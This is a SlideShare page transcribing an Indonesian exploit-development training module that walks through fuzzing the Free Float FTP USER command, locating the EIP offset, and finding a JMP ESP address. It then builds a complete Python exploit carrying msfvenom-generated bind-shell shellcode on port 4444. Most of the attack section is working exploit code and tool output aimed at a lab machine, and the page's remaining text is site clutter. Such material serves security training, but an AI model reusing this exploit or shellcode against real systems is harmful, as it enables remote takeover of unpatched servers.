Your SlideShare is downloading. ×
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Demo - Advanced Exploit Development (22-23 Juni 2013)
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Demo - Advanced Exploit Development (22-23 Juni 2013)

1,163

Published on

Modul demo ini merupakan potongan dari modul event advanced exploit development pada tanggal 22-23 Juni 2013 …

Modul demo ini merupakan potongan dari modul event advanced exploit development pada tanggal 22-23 Juni 2013

Isi modul :
- Classic stack Overflow
- Bypassing SEH / Safe SEH
- Bypassing DEP
- Bypassing ASLR

Jika anda tertarik, silahkan ikuti training "advanced exploit development" yang akan diadakan kembali bulan agustus atau september 2013


http://www.hatsecure.com

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total Views
1,163
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
113
Comments
0
Likes
1
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. HATSECURE TRAINING #DEMO EVENT 22 – 23 JUNI 2013 ADVANCED EXPLOIT DEVELOPMENT Danang Heriyadi danang@hatsecure.com Copyright By Hatsecure Advanced Exploit Development
  • 2. Disclaimer Dilarang merubah isi modul dan menggandakan modul ini tanpa seijin penulis Copyright By Hatsecure Copyright By Hatsecure Advanced Exploit Development
  • 3. Table of Contents Introduction..................................................................................................... 6 0x01 Classic stack overflow.................................................................... 7 Objective............................................................................................. 7 Overview................................................................................................. 7 Exercise................................................................................................... 7 Free float FTP Vulnerability................................................................ 8 Fuzzing : Crash the service............................................................ 9 Fuzzing : Finding the Right Offset to EIP.................................... 10 Controlling the EIP...................................................................... 17 Take over the victim..................................................................... 22 Conclusion........................................................................................ 23 0x02 Bypassing Structured Exception Handling........................... 24 Objective........................................................................................... 24 Overview..................................................................................... 24 Structured Exception Handling.................................................... 25 SEH / Safe SEH Bypassing Theory.............................................. 25 Testing SEH / SafeSEH protection.............................................. 25 Exercise....................................................................................... 28 All Media Server Vulnerability.......................................................... 28 Module intruction mapping.......................................................... 30 Returning into our shellcode....................................................... 39 Conclusion........................................................................................ 39 0x03 Bypassing Data Exception Prevention................................... 40 Objective........................................................................................... 40 Copyright By Hatsecure Advanced Exploit Development
  • 4. Overview..................................................................................... 40 Data Exception Prevention.......................................................... 40 DEP Bypassing theory................................................................. 40 Testing DEP Protection............................................................... 41 Case Of study : Sami FTP Vulnerability............................................ 41 Return Oriented Programming..................................................... 41 Defeating DEP with ROP............................................................ 44 Returning into our shellcode....................................................... 45 Conclusion........................................................................................ 47 0x03 Bypassing ASLR in windows 7.................................................. 48 Objective........................................................................................... 48 Overview..................................................................................... 48 Address Space Layout Randomization........................................ 48 ASLR bypass theory.................................................................... 48 0x04 Heap Memory Exploitation........................................................... X Objective............................................................................................. X Overview....................................................................................... X Heap Memory Layout.................................................................... X Case Of Study : Heap Spraying Internet Explorer.............................. X Heap Spray Technique................................................................... X Triggering Vulnerability.................................................................. X Returning into heap buffer............................................................. X Conclusion.......................................................................................... X 0x05 Metasploit Module Development............................................... X Objective............................................................................................. X Overview....................................................................................... X Copyright By Hatsecure Advanced Exploit Development
  • 5. Convert your exploit to metasploit module.................................. X 0x06 Shellcode Development................................................................. X Objective............................................................................................. X Overview....................................................................................... X Software Required......................................................................... X Windows API................................................................................. X Static Shellcode Writing..................................................................... X Message Box................................................................................. X Windows Execute.......................................................................... X Combination shellcode.................................................................. X Convert your shellcode to metasploit module.............................. X Shellcode Injection with metasploit.................................................... X Reporting............................................................................................ X Copyright By Hatsecure Advanced Exploit Development
  • 6. Introduction Exploit adalah suatu script yang menyerang melalui celah keamanan komputer secara spesifik. Dalam exploit terkadang ditemukan suatu shellcode, shellcode inilah yang menjadi suatu amunisi dari tool exploit. Tool exploit bukan hal yang asing oleh seseorang yang menjadi praktisi keamanan. Tool ini bisa digunakan untuk menguji keamanan secara legal. Pada training “advanced exploit development” ini kita akan membahas dan mengupas bagaimana seorang praktisi keamanan mencari celah keamanan, membuat dan mengembangkan exploit. Copyright By Hatsecure Advanced Exploit Development
  • 7. 0x01 Classic Stack Overflow Objective • Memahami konsep stack overflow • Memahami metode debugging • Memahami metode fuzzing atau fuzz testing • Mampu mengeksploitasi celah stack overflow Overview Celah basis stack overflow terjadi ketika software melakukan penulisan data melebihi kapasitas buffer. Sehingga data yang melebihi tersebut akan merubah nilai yang ada dalam register memory. Contoh source code yang memiliki celah stack overflow : Source code diatas ketika kita kompilasi dan eksekusi.Kita hanya dapat mengisi data maksimal 20 karakter dan apabila lebih dari 20 karakter, data yang kita masukkan akan merubah nilai yang ada dalam register memory. Exercise Cobalah untuk mengulang hingga memahami konsep dan eksploitasi stack overflow. Copyright By Hatsecure Advanced Exploit Development #include <stdio.h> int main(){ char data[20]; printf(“Masukkan data : “); gets(data); return 0; }
  • 8. Free float FTP Vulnerability Pertama kali exploit dari software Free Float FTP di publish oleh 0v3r di situs www.exploit-db.com. Beliau menemukan kerentanan pada command USER, command ini digunakan untuk melakukan authentification ketika akan mengakses FTP server. Sebagai contoh sederhana, dibawah ini merupakan source code login FTP : Copyright By Hatsecure Advanced Exploit Development import socket username = “anonymous” password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 9. Fuzzing: Crash the Service Fuzzing atau fuzz testing merupakan metode untuk mengetahui apakah suatu software memiliki celah buffer overflow. Jika software mengalami crash dapat dipastikan mungkin terdapat celah pada software tersebut. Jalankan freefloat FTP melalui immunity debugger. Melalui terminal kali linux, buatlah script FTP fuzzer : Perhatikan apa yang terjadi ketika script fuzzer dijalankan : Copyright By Hatsecure Advanced Exploit Development root@kali:~# python ftp.py 220 FreeFloat Ftp Server (Version 1.00). 331 Password required for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA. import socket username = “A” * 1000 password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 10. Perhatikan alamat EIP berubah menjadi 41414141 (ASCII “AAAA”). Alamat 41414141 tidak ditemukan atau diketahui sehingga software berhenti secara tidak normal. Secara teori apabila kita berhasil merubah nilai yang ada dalam register EIP, maka kemungkinan besar kita dapat mengarahkan EIP ke alamat yang terdapat shellcode. Untuk merubahnya kita harus menuliskan nilai dengan tepat pad EIP. Fuzzing: Finding the Right Offset to EIP Metode ini diperlukan untuk mengetahui berapa karakter yang perlu ditulis untuk memenuhi variabel lokal dan untuk mencapai EIP. Pada terminal kali linux jalankan perintah : Perintah diatas digunakan untuk generate kombinasi karakter. Kita tulis 1000 sesuai tool fuzzer sebelumnya yang telah kita buat. Sehingga akan muncul Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools/ root@kali:~# ./pattern_create.rb 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac 2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4A e5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7 Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj 0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2A l3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5 An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap 8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0A s1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3 Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw 6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8A y9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1 Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd 4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6B f7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
  • 11. kombinasi sebanyak 1000 karakter. Copy kombinasi karakter tersebut dan masukkan ke dalam script fuzzer. Restart software debugger pada menekan tombol CTRL+F2. Dan jalankan kembali free float ftp melalui immunity debugger. Setelah itu jalankan kembali script fuzzer. Perhatikanlah EIP register yang berhasil dirubah, nilainya menjadi 37684136 Copyright By Hatsecure Advanced Exploit Development import socket username=“Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8A b9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1 Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag 4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6A i7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9 Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An 2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4A p5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7 Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au 0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2A w3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5 Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba 8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0B d1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3 Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B” password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) root@kali:~# python ftp.py
  • 12. Kita cari offset menggunakan pattern_offset.rb, melalui terminal linux jalankan perintah berikut : Dari output diatas kita tahu bahwa membutuhkan sebanyak 230 karakter untuk memenuhi variabel lokal dan ditambahkan 4 untuk merubah nilai EIP. Sehingga kita perlu merubah script fuzzer menjadi : Restart software free float ftp dengan menekan tombol CTRL + F2 pada immunity debugger. Copyright By Hatsecure Advanced Exploit Development root@kali:~# cd /opt/metasploit/apps/pro/msf3/tools root@kali:~# ./pattern_offset.rb 37684136 [*] Exact match at offset 230 import socket username = “A” * 230 eip = “BBBB” password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 13. Jalankan lagi free float ftp melalui immunity debugger. Lalu eksekusi lagi script FTP fuzzer. Perhatikan EIP register menjadi 42424242 (ASCII=BBBB). Kita sudah berhasil dan tepat merubah nilai pada EIP register. Selanjutnya cobalah menambahkan intruksi nop atau No Operation (0x90) pada script fuzzer menjadi : Restart free float ftp seperti sebelumnya dan jalankan kembali melalui immunity debugger. Pada kali ini tujuan kita adalah mengetahui dimana letak NOP (0x90) berada. Secara teori seharusnya sekumpulan nop (0x90) alamatnya berada pada ESP register. Namun kita perlu memastikannya dengan menjalankan script fuzzer Copyright By Hatsecure Advanced Exploit Development import socket username = “A” * 230 eip = “BBBB” nop = “x90” * 500 password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+nop+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close()
  • 14. yang sudah ditambahkan NOP. Perhatikan screenshot dibawah ini : Klik kanan pada ESP register lalu pilih Follow in Dump. Pada dump view akan muncul NOP (0x90) sebanyak 500 byte. Copyright By Hatsecure Advanced Exploit Development root@kali:~# python ftp.py
  • 15. Kita dapat menyimpulkan alamat yang tersimpan pada ESP mengarah pada nop yang kita kirim sebanyak 500 byte. Kita dapat menambahkan shellcode bind tcp. Untuk generatenya menggunakan perintah : Copyright By Hatsecure Advanced Exploit Development root@kali:~# msfvenom -p windows/shell_bind_tcp RPORT=4444 -b "x0ax00x0d" [*] x86/shikata_ga_nai succeeded with size 368 (iteration=1) buf = "xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" + "xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" + "xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" + "x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" + "xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" + "x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" + "x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" + "x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" + "x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" + "x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" + "x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" + ...........................................................
  • 16. Lalu tambahkan pada script fuzzer menjadi : Copyright By Hatsecure Advanced Exploit Development import socket username = “A” * 230 eip = “BBBB” shellcode = ("xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" + "xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" + "xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" + "x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" + "xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" + "x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" + "x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" + "x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" + "x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" + "x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" + "x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" + "xccxfcxd0xdcx55x59xb7xe1x86x05x68x44xccxa4" + "x7dxfex8fxa0xb2xcdx2fx31xdcx46x43x03x43xfd" + "xcbx2fx0cxdbx0cx4fx27x9bx83xaexc7xdcx8ax74" + "x93x8cxa4x5dx9bx46x35x61x4exc8x65xcdx20xa9" + "xd5xadx90x41x3cx22xcfx72x3fxe8x66xb5xf1xc8" + "x2bx52xf0xeexdaxfex7dx08xb6xeex2bx82x2excd" + "x0fx1bxc9x2ex7ax37x42xb9x32x51x54xc6xc2x77" + "xf7x6bx6ax10x83x67xafx01x94xadx87x48xadx26" + "x5dx25x7cxd6x62x6cx16x7bxf0xebxe6xf2xe9xa3" + "xb1x53xdfxbdx57x4ex46x14x45x93x1ex5fxcdx48" + "xe3x5exccx1dx5fx45xdexdbx60xc1x8axb3x36x9f" + "x64x72xe1x51xdex2cx5ex38xb6xa9xacxfbxc0xb5" + "xf8x8dx2cx07x55xc8x53xa8x31xdcx2cxd4xa1x23" + "xe7x5cxd1x69xa5xf5x7ax34x3cx44xe7xc7xebx8b" + "x1ex44x19x74xe5x54x68x71xa1xd2x81x0bxbaxb6" + "xa5xb8xbbx92" )
  • 17. Controlling EIP Setelah berhasil pada metode fuzzing sebelumnya, langkah ini bertujuan mengontrol EIP dengan mengarahkannya ke shellcode yang telah kita kirim. Dari hasil analisa sebelumnya kita sudah memahami bahwa ESP menyimpan alamat shellcode kita yang ada didalam stack. Sehingga kita perlu mengarahkan EIP ke alamat yang menyimpan intruksi JMP ESP. Perlu diperhatikan : Kita menghindari bad character, antara lain 0a, 0d, 00. Karakter ini biasanya menjadi semacam terminator pada shellcode kita, sehingga shellcode kita tidak bekerja semestinya. Untuk memulai mencari alamat intruksinya, kita perlu module sebagai loncatan kita. Namun kita harus mencari tahu module mana yang tidak terproteksi ASLR dengan menggunakan perintah berikut pada panel command immunity debugger : Copyright By Hatsecure Advanced Exploit Development nop = “x90” * (500-len(shellcode)) password = “anonymous” s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+nop+shellcode+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close() !mona noaslr
  • 18. Default pada windows XP hampir semua module tidak terproteksi ASLR, dapat diliat di layar immunity debugger semua module muncul setelah kita ketik perintah !mona noaslr Disini kita gunakan module user32.dll, anda dapat mencoba module lain jika perlu. Pada menu view, pilih Executable modules. Kemudian enter pada user32.dll seperti gambar dibawah ini : Copyright By Hatsecure Advanced Exploit Development
  • 19. Langkah selanjutnya adalah mencari intruksi JMP ESP. Kita dapat mudah mencarinya dengan tombol CTRL+F dan tulis “JMP ESP”. Alamat JMP ESP berhasil ditemukan yakni 0x7E4456F7. Alamat tersebut tidak ada bad character sehingga kita bisa langsung menuliskannya ke dalam script fuzzer sebelumnya. Ingat, bahwa kita perlu merubah alamat tersebut menjadi format little endian. Kita bisa merubahnya manual dengan menuliskan dari belakang menjadi 0xF756447E. Atau bisa juga menggunakan library python struct, dengan memanggil fungsi struct.pack(“<I”, 0x7E4456F7). Copyright By Hatsecure Advanced Exploit Development
  • 20. Berikut adalah script exploit dari script fuzzer sebelumnya : Copyright By Hatsecure Advanced Exploit Development import socket, struct username = “A” * 230 eip = struct.pack(“<I”, 0x7E4456F7) shellcode = ("xb8x47xc8xa9x15xdbxdbxd9x74x24xf4x5bx2bxc9" + "xb1x56x31x43x13x83xebxfcx03x43x48x2ax5cxe9" + "xbex23x9fx12x3ex54x29xf7x0fx46x4dx73x3dx56" + "x05xd1xcdx1dx4bxc2x46x53x44xe5xefxdexb2xc8" + "xf0xeex7ax86x32x70x07xd5x66x52x36x16x7bx93" + "x7fx4bx73xc1x28x07x21xf6x5dx55xf9xf7xb1xd1" + "x41x80xb4x26x35x3axb6x76xe5x31xf0x6ex8ex1e" + "x21x8ex43x7dx1dxd9xe8xb6xd5xd8x38x87x16xeb" + "x04x44x29xc3x89x94x6dxe4x71xe3x85x16x0cxf4" + "x5dx64xcax71x40xcex99x22xa0xeex4exb4x23xfc" + "x3bxb2x6cxe1xbax17x07x1dx37x96xc8x97x03xbd" + "xccxfcxd0xdcx55x59xb7xe1x86x05x68x44xccxa4" + "x7dxfex8fxa0xb2xcdx2fx31xdcx46x43x03x43xfd" + "xcbx2fx0cxdbx0cx4fx27x9bx83xaexc7xdcx8ax74" + "x93x8cxa4x5dx9bx46x35x61x4exc8x65xcdx20xa9" + "xd5xadx90x41x3cx22xcfx72x3fxe8x66xb5xf1xc8" + "x2bx52xf0xeexdaxfex7dx08xb6xeex2bx82x2excd" + "x0fx1bxc9x2ex7ax37x42xb9x32x51x54xc6xc2x77" + "xf7x6bx6ax10x83x67xafx01x94xadx87x48xadx26" + "x5dx25x7cxd6x62x6cx16x7bxf0xebxe6xf2xe9xa3" + "xb1x53xdfxbdx57x4ex46x14x45x93x1ex5fxcdx48" + "xe3x5exccx1dx5fx45xdexdbx60xc1x8axb3x36x9f" + "x64x72xe1x51xdex2cx5ex38xb6xa9xacxfbxc0xb5" + "xf8x8dx2cx07x55xc8x53xa8x31xdcx2cxd4xa1x23" + "xe7x5cxd1x69xa5xf5x7ax34x3cx44xe7xc7xebx8b" + "x1ex44x19x74xe5x54x68x71xa1xd2x81x0bxbaxb6" + "xa5xb8xbbx92" ) nop = “x90” * (500-len(shellcode)) password = “anonymous”
  • 21. Restart free float ftp seperti sebelumnya. Kemudian jalankan kembali free float ftp melalui immunity debugger. Lihat pada command prompt, ketik perintah : netstat -an Port 4444 belum terbuka, sekarang jalankan exploit yang telah kita buat tadi. Copyright By Hatsecure Advanced Exploit Development s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((“192.168.56.101”,21)) print s.recv(1024) s.send(“USER ”+username+eip+nop+shellcode+”rn”) print s.recv(1024) s.send(“PASS “+password+”rn”) print s.recv(1024) s.close() root@kali:~# python ftp.py
  • 22. Lihat kembali pada command prompt, jalankan perintah netstat -an.Maka akan terlihat port 4444 terbuka. Take Over the Victim Jika exploit yang anda buat berhasil, dan berhasil membuka port langkah terakhir mencoba mengakses port tersebut. Melalui terminal jalankan perintah seperti dibawah ini : Copyright By Hatsecure Advanced Exploit Development
  • 23. Conclusion Stack overflow non protection sangat mudah untuk di eksploitasi. Kita hanya perlu menyisipkan shellcode kedalam stack dan mengarahkan EIP ke alamat shellcode. Copyright By Hatsecure Advanced Exploit Development
  • 24. 0x02 Bypassing Structured Exception Handling Objective • Memahami mekanisme SEH • Memahami proteksi module SafeSEH • Memahami teknik meloloskan mekanisme SEH • Mampu mengeksploitasi celah stack overflow dengan proteksi SEH Overview Structured Exception Handling (SEH) adalah mekanisme yang dimiliki hardware ataupun software untuk menangani exception yang ada. Exception pada hardware dimunculkan oleh CPU contohnya dikarenakan eksekusi intruksi yang menghasilkan error, contoh lainnya mencoba mengakses memori yang salah. Sedangkan exception pada software muncul dikarenakan input validation atau sanitasi input, contohnya invalid parameter value. Ketika seorang programmer mengimplementasikan mekanisme SEH, maka software yang dibuatnya akan mengontrol penuh error yang muncul dan melemparkan ke fungsi SEH. Selain itu dengan munculnya mekanisme SEH ini ketika kita melakukan exploitasi dan menyisipkan shellcode dalam stack, maka data kita tidak berada dalam ESP. Gambar dibawah ini ada contoh 2 perbedaan mendasar antara data didalam stack saat menggunakan metode classic stack overflow non SEH & SEH : Copyright By Hatsecure Advanced Exploit Development NON SEH (ESP) 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 SEH (ESP) 7C 90 32 A8 02 2B F6 18 02 2B FD 74 02 2B F6 34 02 2B F5 EC
